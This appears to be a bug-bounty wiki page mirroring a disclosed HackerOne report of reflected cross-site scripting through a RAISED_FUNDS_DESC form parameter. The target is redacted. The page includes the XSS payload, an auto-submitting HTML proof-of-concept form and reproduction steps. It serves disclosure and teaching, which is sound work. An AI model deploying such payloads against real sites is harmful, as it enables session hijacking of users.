Skip to content
XSS Disclosed report Beginner

Cross-Site Scripting via 'RAISED_FUNDS_DESC' parameter

A POST parameter called RAISED_FUNDS_DESC was reflected without proper encoding, allowing an attacker to inject a script that executes in a victim's browser. This could lead to cookie theft and session hijacking.

jonasdiasrebelo Follow

Originally disclosed on HackerOne

  • Triaged in 47 hours
  • Fixed in 31 days
  • Disclosed after 5 months

Description:

I discovered a Cross-Site Scripting (XSS) vulnerability on ████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Vulnerable parameter: RAISED_FUNDS_DESC Payload: <input>1234567</textarea>'"><A HRef=" AutoFocus OnFocus=;1^(print)``^1>"

References

███████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="████████" method="POST">
      <input type="hidden" name="EVENT&#95;DESCRIPTION" value="1234" />
      <input type="hidden" name="YEARS&#95;OF&#95;EVENT" value="&lt;input&gt;" />
      <input type="hidden" name="EVENT&#95;WEB&#95;SITE" value="&lt;input&gt;" />
      <input type="hidden" name="ADMISSION&#95;FEE" value="&lt;input&gt;1234" />
      <input type="hidden" name="PARKING&#95;FEE" value="&lt;input&gt;" />
      <input type="hidden" name="SEATING&#95;FEE" value="&lt;input&gt;12345" />
      <input type="hidden" name="OTHER&#95;FEES" value="&lt;input&gt;123456" />
      <input type="hidden" name="EVENT&#95;FUND&#95;RAISER" value="1" />
      <input type="hidden" name="RAISED&#95;FUNDS&#95;USE" value="1" />
      <input type="hidden" name="RAISED&#95;FUNDS&#95;USE" value="4" />
      <input type="hidden" name="RAISED&#95;FUNDS&#95;DESC" value="&lt;input&gt;1234567&lt;&#47;textarea&gt;&apos;&quot;&gt;&lt;A&#32;HRef&#61;&#92;&quot;&#32;AutoFocus&#32;OnFocus&#61;&#59;1&#94;&#40;print&#41;&#96;&#96;&#94;1&gt;&quot;" />
      <input type="hidden" name="OPEN&#95;PUBLIC" value="1" />
      <input type="hidden" name="LOCAL&#95;GOV&#95;SUPPORT" value="0" />
      <input type="hidden" name="POST&#95;EVENT&#95;REPORT" value="1" />
      <input type="hidden" name="MEMBER&#95;WO&#95;DISCRIMINATION" value="0" />
      <input type="hidden" name="ATTENDANCE&#95;WO&#95;DISCRIMINATION" value="0" />
      <input type="hidden" name="pageNumber" value="6" />
      <input type="hidden" name="currentPage" value="5" />
      <input type="hidden" name="requestID" value="6AB066A5F23" />
      <input type="hidden" name="WIZARD&#95;CHECKBOXES" value="RAISED&#95;FUNDS&#95;USE" />
      <input type="hidden" name="button&#95;continue" value="Save&#32;&amp;&#32;Continue" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

In case the following appears:

█████

Click "Agree to consent" and try to run the XSS post again and will work.

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page

The original report as published on HackerOne, by jonasdiasrebelo. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application failed to encode or validate user input before reflecting it in the response.

Impact

Exploitation could lead to session hijacking and cookie theft, though the report does not demonstrate a full attack chain.

What the attacker needed

Victim visits attacker-controlled page; consent banner may need interaction

How it was found

  1. Create a malicious HTML page that automatically submits a POST request to the vulnerable endpoint with the crafted payload in the RAISED_FUNDS_DESC parameter.
  2. If a consent banner appears, click 'Agree to consent' and resubmit the request.
  3. The injected script could execute in the context of the vulnerable site.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website takes input from a form and puts it directly into a page without cleaning it, an attacker can include code (like JavaScript) that runs in the victim's browser. This is called cross-site scripting (XSS). Here, the RAISED_FUNDS_DESC field was not properly sanitised, so a specially crafted value could run a script.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jonasdiasrebelo

View all

27 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.